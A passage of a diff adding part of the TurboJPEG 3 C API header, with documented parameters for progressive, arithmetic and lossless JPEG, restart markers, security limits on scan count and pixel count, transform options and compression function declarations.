TJPARAM_OPTIMIZE, + /** + * Progressive JPEG + * + * In a progressive JPEG image, the DCT coefficients are split across + * multiple "scans" of increasing quality. Thus, a low-quality scan + * containing the lowest-frequency DCT coefficients can be transmitted first + * and refined with subsequent higher-quality scans containing + * higher-frequency DCT coefficients. When using Huffman entropy coding, the + * progressive JPEG format also provides an "end-of-bands (EOB) run" feature + * that allows large groups of zeroes, potentially spanning multiple MCUs, + * to be represented using only a few bytes. + * + * **Value** + * - `0` *[default for compression, lossless transformation]* The lossy JPEG + * image is (decompression) or will be (compression, lossless transformation) + * single-scan. + * - `1` The lossy JPEG image is (decompression) or will be (compression, + * lossless transformation) progressive. For lossless transformation, this + * can also be specified using #TJXOPT_PROGRESSIVE. + * + * Progressive JPEG images generally have better compression ratios than + * single-scan JPEG images (much better if the image has large areas of solid + * color), but progressive JPEG compression and decompression is considerably + * slower than single-scan JPEG compression and decompression. Can be + * combined with #TJPARAM_ARITHMETIC. Implies #TJPARAM_OPTIMIZE unless + * #TJPARAM_ARITHMETIC is also set. + */ + TJPARAM_PROGRESSIVE, + /** + * Progressive JPEG scan limit for lossy JPEG images [decompression, lossless + * transformation] + * + * Setting this parameter causes the decompression and transform functions to + * return an error if the number of scans in a progressive JPEG image exceeds + * the specified limit. The primary purpose of this is to allow + * security-critical applications to guard against an exploit of the + * progressive JPEG format described in + * this report. + * + * **Value** + * - maximum number of progressive JPEG scans that the decompression and + * transform functions will process *[default: `0` (no limit)]* + * + * @see #TJPARAM_PROGRESSIVE + */ + TJPARAM_SCANLIMIT, + /** + * Arithmetic entropy coding + * + * **Value** + * - `0` *[default for compression, lossless transformation]* The lossy JPEG + * image uses (decompression) or will use (compression, lossless + * transformation) Huffman entropy coding. + * - `1` The lossy JPEG image uses (decompression) or will use (compression, + * lossless transformation) arithmetic entropy coding. For lossless + * transformation, this can also be specified using #TJXOPT_ARITHMETIC. + * + * Arithmetic entropy coding generally improves compression relative to + * Huffman entropy coding, but it reduces compression and decompression + * performance considerably. Can be combined with #TJPARAM_PROGRESSIVE. + */ + TJPARAM_ARITHMETIC, + /** + * Lossless JPEG + * + * **Value** + * - `0` *[default for compression]* The JPEG image is (decompression) or + * will be (compression) lossy/DCT-based. + * - `1` The JPEG image is (decompression) or will be (compression) + * lossless/predictive. + * + * In most cases, lossless JPEG compression and decompression is considerably + * slower than lossy JPEG compression and decompression, and lossless JPEG + * images are much larger than lossy JPEG images. Thus, lossless JPEG images + * are typically used only for applications that require mathematically + * lossless compression. Also note that the following features are not + * available with lossless JPEG images: + * - Colorspace conversion (lossless JPEG images always use #TJCS_RGB, + * #TJCS_GRAY, or #TJCS_CMYK, depending on the pixel format of the source + * image) + * - Chrominance subsampling (lossless JPEG images always use #TJSAMP_444) + * - JPEG quality selection + * - DCT/IDCT algorithm selection + * - Progressive JPEG + * - Arithmetic entropy coding + * - Compression from/decompression to planar YUV images (this parameter is + * ignored by #tj3CompressFromYUV8() and #tj3CompressFromYUVPlanes8()) + * - Decompression scaling + * - Lossless transformation + * + * @see #TJPARAM_LOSSLESSPSV, #TJPARAM_LOSSLESSPT + */ + TJPARAM_LOSSLESS, + /** + * Lossless JPEG predictor selection value (PSV) + * + * **Value** + * - `1`-`7` *[default for compression: `1`]* + * + * Lossless JPEG compression shares no algorithms with lossy JPEG + * compression. Instead, it uses differential pulse-code modulation (DPCM), + * an algorithm whereby each sample is encoded as the difference between the + * sample's value and a "predictor", which is based on the values of + * neighboring samples. If Ra is the sample immediately to the left of the + * current sample, Rb is the sample immediately above the current sample, and + * Rc is the sample diagonally to the left and above the current sample, then + * the relationship between the predictor selection value and the predictor + * is as follows: + * + * PSV | Predictor + * ----|---------- + * 1 | Ra + * 2 | Rb + * 3 | Rc + * 4 | Ra + Rb – Rc + * 5 | Ra + (Rb – Rc) / 2 + * 6 | Rb + (Ra – Rc) / 2 + * 7 | (Ra + Rb) / 2 + * + * Predictors 1-3 are 1-dimensional predictors, whereas Predictors 4-7 are + * 2-dimensional predictors. The best predictor for a particular image + * depends on the image. + * + * @see #TJPARAM_LOSSLESS + */ + TJPARAM_LOSSLESSPSV, + /** + * Lossless JPEG point transform (Pt) + * + * **Value** + * - `0` through ***precision*** *- 1*, where ***precision*** is the JPEG + * data precision in bits *[default for compression: `0`]* + * + * A point transform value of `0` is necessary in order to generate a fully + * lossless JPEG image. (A non-zero point transform value right-shifts the + * input samples by the specified number of bits, which is effectively a form + * of lossy color quantization.) + * + * @see #TJPARAM_LOSSLESS, #TJPARAM_PRECISION + */ + TJPARAM_LOSSLESSPT, + /** + * JPEG restart marker interval in MCUs [lossy compression, + * lossless transformation] + * + * The nature of entropy coding is such that a corrupt JPEG image cannot + * be decompressed beyond the point of corruption unless it contains restart + * markers. A restart marker stops and restarts the entropy coding algorithm + * so that, if a JPEG image is corrupted, decompression can resume at the + * next marker. Thus, adding more restart markers improves the fault + * tolerance of the JPEG image, but adding too many restart markers can + * adversely affect the compression ratio and performance. + * + * In typical JPEG images, an MCU (Minimum Coded Unit) is the minimum set of + * interleaved "data units" (8x8 DCT blocks if the image is lossy or samples + * if the image is lossless) necessary to represent at least one data unit + * per component. (For example, an MCU in an interleaved lossy JPEG image + * that uses 4:2:2 subsampling consists of two luminance blocks followed by + * one block for each chrominance component.) In single-component or + * non-interleaved JPEG images, an MCU is the same as a data unit. + * + * **Value** + * - the number of MCUs between each restart marker *[default: `0` (no + * restart markers)]* + * + * Setting this parameter to a non-zero value sets #TJPARAM_RESTARTROWS to 0. + */ + TJPARAM_RESTARTBLOCKS, + /** + * JPEG restart marker interval in MCU rows [compression, + * lossless transformation] + * + * See #TJPARAM_RESTARTBLOCKS for a description of restart markers and MCUs. + * An MCU row is a row of MCUs spanning the entire width of the image. + * + * **Value** + * - the number of MCU rows between each restart marker *[default: `0` (no + * restart markers)]* + * + * Setting this parameter to a non-zero value sets #TJPARAM_RESTARTBLOCKS to + * 0. + */ + TJPARAM_RESTARTROWS, + /** + * JPEG horizontal pixel density + * + * **Value** + * - The JPEG image has (decompression) or will have (compression) the + * specified horizontal pixel density *[default for compression: `1`]*. + * + * This value is stored in or read from the JPEG header. It does not affect + * the contents of the JPEG image. Note that this parameter is set by + * #tj3LoadImage8() when loading a Windows BMP file that contains pixel + * density information, and the value of this parameter is stored to a + * Windows BMP file by #tj3SaveImage8() if the value of #TJPARAM_DENSITYUNITS + * is `2`. + * + * This parameter has no effect unless the JPEG colorspace (see + * #TJPARAM_COLORSPACE) is #TJCS_YCbCr or #TJCS_GRAY. + * + * @see TJPARAM_DENSITYUNITS + */ + TJPARAM_XDENSITY, + /** + * JPEG vertical pixel density + * + * **Value** + * - The JPEG image has (decompression) or will have (compression) the + * specified vertical pixel density *[default for compression: `1`]*. + * + * This value is stored in or read from the JPEG header. It does not affect + * the contents of the JPEG image. Note that this parameter is set by + * #tj3LoadImage8() when loading a Windows BMP file that contains pixel + * density information, and the value of this parameter is stored to a + * Windows BMP file by #tj3SaveImage8() if the value of #TJPARAM_DENSITYUNITS + * is `2`. + * + * This parameter has no effect unless the JPEG colorspace (see + * #TJPARAM_COLORSPACE) is #TJCS_YCbCr or #TJCS_GRAY. + * + * @see TJPARAM_DENSITYUNITS + */ + TJPARAM_YDENSITY, + /** + * JPEG pixel density units + * + * **Value** + * - `0` *[default for compression]* The pixel density of the JPEG image is + * expressed (decompression) or will be expressed (compression) in unknown + * units. + * - `1` The pixel density of the JPEG image is expressed (decompression) or + * will be expressed (compression) in units of pixels/inch. + * - `2` The pixel density of the JPEG image is expressed (decompression) or + * will be expressed (compression) in units of pixels/cm. + * + * This value is stored in or read from the JPEG header. It does not affect + * the contents of the JPEG image. Note that this parameter is set by + * #tj3LoadImage8() when loading a Windows BMP file that contains pixel + * density information, and the value of this parameter is stored to a + * Windows BMP file by #tj3SaveImage8() if the value is `2`. + * + * This parameter has no effect unless the JPEG colorspace (see + * #TJPARAM_COLORSPACE) is #TJCS_YCbCr or #TJCS_GRAY. + * + * @see TJPARAM_XDENSITY, TJPARAM_YDENSITY + */ + TJPARAM_DENSITYUNITS, + /** + * Memory limit for intermediate buffers + * + * **Value** + * - the maximum amount of memory (in megabytes) that will be allocated for + * intermediate buffers, which are used with progressive JPEG compression and + * decompression, Huffman table optimization, lossless JPEG compression, and + * lossless transformation *[default: `0` (no limit)]* + */ + TJPARAM_MAXMEMORY, + /** + * Image size limit [decompression, lossless transformation, packed-pixel + * image loading] + * + * Setting this parameter causes the decompression, transform, and image + * loading functions to return an error if the number of pixels in the source + * image exceeds the specified limit. This allows security-critical + * applications to guard against excessive memory consumption. + * + * **Value** + * - maximum number of pixels that the decompression, transform, and image + * loading functions will process *[default: `0` (no limit)]* + */ + TJPARAM_MAXPIXELS, + /** + * Marker copying behavior [decompression, lossless transformation] + * + * **Value [lossless transformation]** + * - `0` Do not copy any extra markers (including comments, JFIF thumbnails, + * Exif data, and ICC profile data) from the source image to the destination + * image. + * - `1` Do not copy any extra markers, except comment (COM) markers, from + * the source image to the destination image. + * - `2` *[default]* Copy all extra markers from the source image to the + * destination image. + * - `3` Copy all extra markers, except ICC profile data (APP2 markers), from + * the source image to the destination image. + * - `4` Do not copy any extra markers, except ICC profile data (APP2 + * markers), from the source image to the destination image. + * + * #TJXOPT_COPYNONE overrides this parameter for a particular transform. + * This parameter overrides any ICC profile that was previously associated + * with the TurboJPEG instance using #tj3SetICCProfile(). + * + * When decompressing, #tj3DecompressHeader() extracts the ICC profile from a + * JPEG image if this parameter is set to `2` or `4`. #tj3GetICCProfile() + * can then be used to retrieve the profile. + */ + TJPARAM_SAVEMARKERS +}; + + +/** + * The number of error codes + */ +#define TJ_NUMERR 2 + +/** + * Error codes + */ +enum TJERR { + /** + * The error was non-fatal and recoverable, but the destination image may + * still be corrupt. + */ + TJERR_WARNING, + /** + * The error was fatal and non-recoverable. + */ + TJERR_FATAL +}; + + +/** + * The number of transform operations + */ +#define TJ_NUMXOP 8 + +/** + * Transform operations for #tj3Transform() + */ +enum TJXOP { + /** + * Do not transform the position of the image pixels. + */ + TJXOP_NONE, + /** + * Flip (mirror) image horizontally. This transform is imperfect if there + * are any partial iMCUs on the right edge (see #TJXOPT_PERFECT.) + */ + TJXOP_HFLIP, + /** + * Flip (mirror) image vertically. This transform is imperfect if there are + * any partial iMCUs on the bottom edge (see #TJXOPT_PERFECT.) + */ + TJXOP_VFLIP, + /** + * Transpose image (flip/mirror along upper left to lower right axis.) This + * transform is always perfect. + */ + TJXOP_TRANSPOSE, + /** + * Transverse transpose image (flip/mirror along upper right to lower left + * axis.) This transform is imperfect if there are any partial iMCUs in the + * image (see #TJXOPT_PERFECT.) + */ + TJXOP_TRANSVERSE, + /** + * Rotate image clockwise by 90 degrees. This transform is imperfect if + * there are any partial iMCUs on the bottom edge (see #TJXOPT_PERFECT.) + */ + TJXOP_ROT90, + /** + * Rotate image 180 degrees. This transform is imperfect if there are any + * partial iMCUs in the image (see #TJXOPT_PERFECT.) + */ + TJXOP_ROT180, + /** + * Rotate image counter-clockwise by 90 degrees. This transform is imperfect + * if there are any partial iMCUs on the right edge (see #TJXOPT_PERFECT.) + */ + TJXOP_ROT270 +}; + + +/** + * This option causes #tj3Transform() to return an error if the transform is + * not perfect. Lossless transforms operate on iMCUs, the size of which + * depends on the level of chrominance subsampling used (see #tjMCUWidth and + * #tjMCUHeight.) If the image's width or height is not evenly divisible by + * the iMCU size, then there will be partial iMCUs on the right and/or bottom + * edges. It is not possible to move these partial iMCUs to the top or left of + * the image, so any transform that would require that is "imperfect." If this + * option is not specified, then any partial iMCUs that cannot be transformed + * will be left in place, which will create odd-looking strips on the right or + * bottom edge of the image. + */ +#define TJXOPT_PERFECT (1 << 0) +/** + * Discard any partial iMCUs that cannot be transformed. + */ +#define TJXOPT_TRIM (1 << 1) +/** + * Enable lossless cropping. See #tj3Transform() for more information. + */ +#define TJXOPT_CROP (1 << 2) +/** + * Discard the color data in the source image, and generate a grayscale + * destination image. + */ +#define TJXOPT_GRAY (1 << 3) +/** + * Do not generate a destination image. (This can be used in conjunction with + * a custom filter to capture the transformed DCT coefficients without + * transcoding them.) + */ +#define TJXOPT_NOOUTPUT (1 << 4) +/** + * Generate a progressive destination image instead of a single-scan + * destination image. Progressive JPEG images generally have better + * compression ratios than single-scan JPEG images (much better if the image + * has large areas of solid color), but progressive JPEG decompression is + * considerably slower than single-scan JPEG decompression. Can be combined + * with #TJXOPT_ARITHMETIC. Implies #TJXOPT_OPTIMIZE unless #TJXOPT_ARITHMETIC + * is also specified. + */ +#define TJXOPT_PROGRESSIVE (1 << 5) +/** + * Do not copy any extra markers (including Exif and ICC profile data) from the + * source image to the destination image. + */ +#define TJXOPT_COPYNONE (1 << 6) +/** + * Enable arithmetic entropy coding in the destination image. Arithmetic + * entropy coding generally improves compression relative to Huffman entropy + * coding (the default), but it reduces decompression performance considerably. + * Can be combined with #TJXOPT_PROGRESSIVE. + */ +#define TJXOPT_ARITHMETIC (1 << 7) +/** + * Enable Huffman table optimization for the destination image. Huffman table + * optimization improves compression slightly (generally 5% or less.) + */ +#define TJXOPT_OPTIMIZE (1 << 8) + + +/** + * Scaling factor + */ +typedef struct { + /** + * Numerator + */ + int num; + /** + * Denominator + */ + int denom; +} tjscalingfactor; + +/** + * Cropping region + */ +typedef struct { + /** + * The left boundary of the cropping region. For lossless transformation, + * this must be evenly divisible by the iMCU width (see #tjMCUWidth) of the + * destination image. For decompression, this must be evenly divisible by + * the scaled iMCU width of the source image. + */ + int x; + /** + * The upper boundary of the cropping region. For lossless transformation, + * this must be evenly divisible by the iMCU height (see #tjMCUHeight) of the + * destination image. + */ + int y; + /** + * The width of the cropping region. Setting this to 0 is the equivalent of + * setting it to the width of the source JPEG image - x. + */ + int w; + /** + * The height of the cropping region. Setting this to 0 is the equivalent of + * setting it to the height of the source JPEG image - y. + */ + int h; +} tjregion; + +/** + * A #tjregion structure that specifies no cropping + */ +static const tjregion TJUNCROPPED = { 0, 0, 0, 0 }; + +/** + * Lossless transform + */ +typedef struct tjtransform { + /** + * Cropping region + */ + tjregion r; + /** + * One of the @ref TJXOP "transform operations" + */ + int op; + /** + * The bitwise OR of one of more of the @ref TJXOPT_ARITHMETIC + * "transform options" + */ + int options; + /** + * Arbitrary data that can be accessed within the body of the callback + * function + */ + void *data; + /** + * A callback function that can be used to modify the DCT coefficients after + * they are losslessly transformed but before they are transcoded to a new + * JPEG image. This allows for custom filters or other transformations to be + * applied in the frequency domain. + * + * @param coeffs pointer to an array of transformed DCT coefficients. (NOTE: + * This pointer is not guaranteed to be valid once the callback returns, so + * applications wishing to hand off the DCT coefficients to another function + * or library should make a copy of them within the body of the callback.) + * + * @param arrayRegion #tjregion structure containing the width and height of + * the array pointed to by `coeffs` as well as its offset relative to the + * component plane. TurboJPEG implementations may choose to split each + * component plane into multiple DCT coefficient arrays and call the callback + * function once for each array. + * + * @param planeRegion #tjregion structure containing the width and height of + * the component plane to which `coeffs` belongs + * + * @param componentID ID number of the component plane to which `coeffs` + * belongs. (Y, Cb, and Cr have, respectively, ID's of 0, 1, and 2 in + * typical JPEG images.) + * + * @param transformID ID number of the transformed image to which `coeffs` + * belongs. This is the same as the index of the transform in the + * `transforms` array that was passed to #tj3Transform(). + * + * @param transform a pointer to a #tjtransform structure that specifies the + * parameters and/or cropping region for this transform + * + * @return 0 if the callback was successful, or -1 if an error occurred. + */ + int (*customFilter) (short *coeffs, tjregion arrayRegion, + tjregion planeRegion, int componentID, int transformID, + struct tjtransform *transform); +} tjtransform; + +/** + * TurboJPEG instance handle + */ +typedef void *tjhandle; + + +/** + * Compute the scaled value of `dimension` using the given scaling factor. + * This macro performs the integer equivalent of `ceil(dimension * + * scalingFactor)`. + */ +#define TJSCALED(dimension, scalingFactor) \ + (((dimension) * scalingFactor.num + scalingFactor.denom - 1) / \ + scalingFactor.denom) + +/** + * A #tjscalingfactor structure that specifies a scaling factor of 1/1 (no + * scaling) + */ +static const tjscalingfactor TJUNSCALED = { 1, 1 }; + + +#ifdef __cplusplus +extern "C" { +#endif + + +/** + * Create a new TurboJPEG instance. + * + * @param initType one of the @ref TJINIT "initialization options" + * + * @return a handle to the newly-created instance, or NULL if an error occurred + * (see #tj3GetErrorStr().) + */ +DLLEXPORT tjhandle tj3Init(int initType); + + +/** + * Destroy a TurboJPEG instance. + * + * @param handle handle to a TurboJPEG instance. If the handle is NULL, then + * this function has no effect. + */ +DLLEXPORT void tj3Destroy(tjhandle handle); + + +/** + * Returns a descriptive error message explaining why the last command failed. + * + * @param handle handle to a TurboJPEG instance, or NULL if the error was + * generated by a global function (but note that retrieving the error message + * for a global function is thread-safe only on platforms that support + * thread-local storage.) + * + * @return a descriptive error message explaining why the last command failed. + */ +DLLEXPORT char *tj3GetErrorStr(tjhandle handle); + + +/** + * Returns a code indicating the severity of the last error. See + * @ref TJERR "Error codes". + * + * @param handle handle to a TurboJPEG instance + * + * @return a code indicating the severity of the last error. See + * @ref TJERR "Error codes". + */ +DLLEXPORT int tj3GetErrorCode(tjhandle handle); + + +/** + * Set the value of a parameter. + * + * @param handle handle to a TurboJPEG instance + * + * @param param one of the @ref TJPARAM "parameters" + * + * @param value value of the parameter (refer to @ref TJPARAM + * "parameter documentation") + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3Set(tjhandle handle, int param, int value); + + +/** + * Get the value of a parameter. + * + * @param handle handle to a TurboJPEG instance + * + * @param param one of the @ref TJPARAM "parameters" + * + * @return the value of the specified parameter, or -1 if the value is unknown. + */ +DLLEXPORT int tj3Get(tjhandle handle, int param); + + +/** + * Allocate a byte buffer for use with TurboJPEG. You should always use this + * function to allocate the JPEG destination buffer(s) for the compression and + * transform functions unless you are disabling automatic buffer (re)allocation + * (by setting #TJPARAM_NOREALLOC.) + * + * @param bytes the number of bytes to allocate + * + * @return a pointer to a newly-allocated buffer with the specified number of + * bytes. + * + * @see tj3Free() + */ +DLLEXPORT void *tj3Alloc(size_t bytes); + + +/** + * Free a byte buffer previously allocated by TurboJPEG. You should always use + * this function to free JPEG destination buffer(s) that were automatically + * (re)allocated by the compression and transform functions or that were + * manually allocated using #tj3Alloc(). + * + * @param buffer address of the buffer to free. If the address is NULL, then + * this function has no effect. + * + * @see tj3Alloc() + */ +DLLEXPORT void tj3Free(void *buffer); + + +/** + * The maximum size of the buffer (in bytes) required to hold a JPEG image with + * the given parameters. The number of bytes returned by this function is + * larger than the size of the uncompressed source image. The reason for this + * is that the JPEG format uses 16-bit coefficients, so it is possible for a + * very high-quality source image with very high-frequency content to expand + * rather than compress when converted to the JPEG format. Such images + * represent very rare corner cases, but since there is no way to predict the + * size of a JPEG image prior to compression, the corner cases have to be + * handled. + * + * @param width width (in pixels) of the image + * + * @param height height (in pixels) of the image + * + * @param jpegSubsamp the level of chrominance subsampling to be used when + * generating the JPEG image (see @ref TJSAMP + * "Chrominance subsampling options".) #TJSAMP_UNKNOWN is treated like + * #TJSAMP_444, since a buffer large enough to hold a JPEG image with no + * subsampling should also be large enough to hold a JPEG image with an + * arbitrary level of subsampling. Note that lossless JPEG images always + * use #TJSAMP_444. + * + * @return the maximum size of the buffer (in bytes) required to hold the + * image, or 0 if the arguments are out of bounds. + */ +DLLEXPORT size_t tj3JPEGBufSize(int width, int height, int jpegSubsamp); + + +/** + * The size of the buffer (in bytes) required to hold a unified planar YUV + * image with the given parameters. + * + * @param width width (in pixels) of the image + * + * @param align row alignment (in bytes) of the image (must be a power of 2.) + * Setting this parameter to n specifies that each row in each plane of the + * image will be padded to the nearest multiple of n bytes (1 = unpadded.) + * + * @param height height (in pixels) of the image + * + * @param subsamp level of chrominance subsampling in the image (see + * @ref TJSAMP "Chrominance subsampling options".) + * + * @return the size of the buffer (in bytes) required to hold the image, or 0 + * if the arguments are out of bounds. + */ +DLLEXPORT size_t tj3YUVBufSize(int width, int align, int height, int subsamp); + + +/** + * The size of the buffer (in bytes) required to hold a YUV image plane with + * the given parameters. + * + * @param componentID ID number of the image plane (0 = Y, 1 = U/Cb, 2 = V/Cr) + * + * @param width width (in pixels) of the YUV image. NOTE: This is the width of + * the whole image, not the plane width. + * + * @param stride bytes per row in the image plane. Setting this to 0 is the + * equivalent of setting it to the plane width. + * + * @param height height (in pixels) of the YUV image. NOTE: This is the height + * of the whole image, not the plane height. + * + * @param subsamp level of chrominance subsampling in the image (see + * @ref TJSAMP "Chrominance subsampling options".) + * + * @return the size of the buffer (in bytes) required to hold the YUV image + * plane, or 0 if the arguments are out of bounds. + */ +DLLEXPORT size_t tj3YUVPlaneSize(int componentID, int width, int stride, + int height, int subsamp); + + +/** + * The plane width of a YUV image plane with the given parameters. Refer to + * @ref YUVnotes "YUV Image Format Notes" for a description of plane width. + * + * @param componentID ID number of the image plane (0 = Y, 1 = U/Cb, 2 = V/Cr) + * + * @param width width (in pixels) of the YUV image + * + * @param subsamp level of chrominance subsampling in the image (see + * @ref TJSAMP "Chrominance subsampling options".) + * + * @return the plane width of a YUV image plane with the given parameters, or 0 + * if the arguments are out of bounds. + */ +DLLEXPORT int tj3YUVPlaneWidth(int componentID, int width, int subsamp); + + +/** + * The plane height of a YUV image plane with the given parameters. Refer to + * @ref YUVnotes "YUV Image Format Notes" for a description of plane height. + * + * @param componentID ID number of the image plane (0 = Y, 1 = U/Cb, 2 = V/Cr) + * + * @param height height (in pixels) of the YUV image + * + * @param subsamp level of chrominance subsampling in the image (see + * @ref TJSAMP "Chrominance subsampling options".) + * + * @return the plane height of a YUV image plane with the given parameters, or + * 0 if the arguments are out of bounds. + */ +DLLEXPORT int tj3YUVPlaneHeight(int componentID, int height, int subsamp); + + +/** + * Embed an ICC (International Color Consortium) color management profile in + * JPEG images generated by subsequent compression and lossless transformation + * operations. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param iccBuf pointer to a byte buffer containing an ICC profile. A copy is + * made of the ICC profile, so this buffer can be freed or reused as soon as + * this function returns. Setting this parameter to NULL or setting `iccSize` + * to 0 removes any ICC profile that was previously associated with the + * TurboJPEG instance. + * + * @param iccSize size of the ICC profile (in bytes.) Setting this parameter + * to 0 or setting `iccBuf` to NULL removes any ICC profile that was previously + * associated with the TurboJPEG instance. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SetICCProfile(tjhandle handle, unsigned char *iccBuf, + size_t iccSize); + + +/** + * Compress a packed-pixel RGB, grayscale, or CMYK image with 2 to 8 bits of + * data precision per sample into a JPEG image with the same data precision. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK source image to be compressed. This buffer should normally be + * `pitch * height` samples in size. However, you can also use this parameter + * to compress from a specific region of a larger buffer. The data precision + * of the source image (from 2 to 8 bits per sample) can be specified using + * #TJPARAM_PRECISION and defaults to 8 if #TJPARAM_PRECISION is unset or out + * of range. + * + * @param width width (in pixels) of the source image + * + * @param pitch samples per row in the source image. Normally this should be + * width * #tjPixelSize[pixelFormat], if the image is unpadded. + * (Setting this parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat].) However, you can also use this + * parameter to specify the row alignment/padding of the source image, to skip + * rows, or to compress from a specific region of a larger buffer. + * + * @param height height (in pixels) of the source image + * + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * + * @param jpegBuf address of a pointer to a byte buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer to + * accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using #tj3Alloc() and + * let TurboJPEG grow the buffer as needed, + * -# set `*jpegBuf` to NULL to tell TurboJPEG to allocate the buffer for you, + * or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3JPEGBufSize() and adding the return value to the size of the ICC profile + * (if any) that was previously associated with the TurboJPEG instance (see + * #tj3SetICCProfile().) This should ensure that the buffer never has to be + * re-allocated. (Setting #TJPARAM_NOREALLOC guarantees that it won't be.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `*jpegBuf` + * upon return from this function, as it may have changed. + * + * @param jpegSize pointer to a size_t variable that holds the size of the JPEG + * buffer. If `*jpegBuf` points to a pre-allocated buffer, then `*jpegSize` + * should be set to the size of the buffer. Otherwise, `*jpegSize` is + * ignored. If `*jpegBuf` points to a JPEG buffer that is being reused from a + * previous call to one of the JPEG compression functions, then `*jpegSize` is + * also ignored. Upon return, `*jpegSize` will contain the size of the JPEG + * image (in bytes.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3Compress8(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, + unsigned char **jpegBuf, size_t *jpegSize); + +/** + * Compress a packed-pixel RGB, grayscale, or CMYK image with 9 to 12 bits of + * data precision per sample into a JPEG image with the same data precision. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK source image to be compressed. This buffer should normally be + * `pitch * height` samples in size. However, you can also use this parameter + * to compress from a specific region of a larger buffer. The data precision + * of the source image (from 9 to 12 bits per sample) can be specified using + * #TJPARAM_PRECISION and defaults to 12 if #TJPARAM_PRECISION is unset or out + * of range. + * + * @param width width (in pixels) of the source image + * + * @param pitch samples per row in the source image. Normally this should be + * width * #tjPixelSize[pixelFormat], if the image is unpadded. + * (Setting this parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat].) However, you can also use this + * parameter to specify the row alignment/padding of the source image, to skip + * rows, or to compress from a specific region of a larger buffer. + * + * @param height height (in pixels) of the source image + * + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * + * @param jpegBuf address of a pointer to a byte buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer to + * accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using #tj3Alloc() and + * let TurboJPEG grow the buffer as needed, + * -# set `*jpegBuf` to NULL to tell TurboJPEG to allocate the buffer for you, + * or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3JPEGBufSize() and adding the return value to the size of the ICC profile + * (if any) that was previously associated with the TurboJPEG instance (see + * #tj3SetICCProfile().) This should ensure that the buffer never has to be + * re-allocated. (Setting #TJPARAM_NOREALLOC guarantees that it won't be.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `*jpegBuf` + * upon return from this function, as it may have changed. + * + * @param jpegSize pointer to a size_t variable that holds the size of the JPEG + * buffer. If `*jpegBuf` points to a pre-allocated buffer, then `*jpegSize` + * should be set to the size of the buffer. Otherwise, `*jpegSize` is + * ignored. If `*jpegBuf` points to a JPEG buffer that is being reused from a + * previous call to one of the JPEG compression functions, then `*jpegSize` is + * also ignored. Upon return, `*jpegSize` will contain the size of the JPEG + * image (in bytes.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3Compress12(tjhandle handle, const short *srcBuf, int width, + int pitch, int height, int pixelFormat, + unsigned char **jpegBuf, size_t *jpegSize); + +/** + * Compress a packed-pixel RGB, grayscale, or CMYK image with 13 to 16 bits of + * data precision per sample into a lossless JPEG image with the same data + * precision. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a packed-pixel RGB, grayscale, + * or CMYK source image to be compressed. This buffer should normally be + * `pitch * height` samples in size. However, you can also use this parameter + * to compress from a specific region of a larger buffer. The data precision + * of the source image (from 13 to 16 bits per sample) can be specified using + * #TJPARAM_PRECISION and defaults to 16 if #TJPARAM_PRECISION is unset or out + * of range. + * + * @param width width (in pixels) of the source image + * + * @param pitch samples per row in the source image. Normally this should be + * width * #tjPixelSize[pixelFormat], if the image is unpadded. + * (Setting this parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat].) However, you can also use this + * parameter to specify the row alignment/padding of the source image, to skip + * rows, or to compress from a specific region of a larger buffer. + * + * @param height height (in pixels) of the source image + * + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * + * @param jpegBuf address of a pointer to a byte buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer to + * accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using #tj3Alloc() and + * let TurboJPEG grow the buffer as needed, + * -# set `*jpegBuf` to NULL to tell TurboJPEG to allocate the buffer for you, + * or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3JPEGBufSize() and adding the return value to the size of the ICC profile + * (if any) that was previously associated with the TurboJPEG instance (see + * #tj3SetICCProfile().) This should ensure that the buffer never has to be + * re-allocated. (Setting #TJPARAM_NOREALLOC guarantees that it won't be.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `*jpegBuf` + * upon return from this function, as it may have changed. + * + * @param jpegSize pointer to a size_t variable that holds the size of the JPEG + * buffer. If `*jpegBuf` points to a pre-allocated buffer, then `*jpegSize` + * should be set to the size of the buffer. Otherwise, `*jpegSize` is + * ignored. If `*jpegBuf` points to a JPEG buffer that is being reused from a + * previous call to one of the JPEG compression functions, then `*jpegSize` is + * also ignored. Upon return, `*jpegSize` will contain the size of the JPEG + * image (in bytes.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3Compress16(tjhandle handle, const unsigned short *srcBuf, + int width, int pitch, int height, int pixelFormat, + 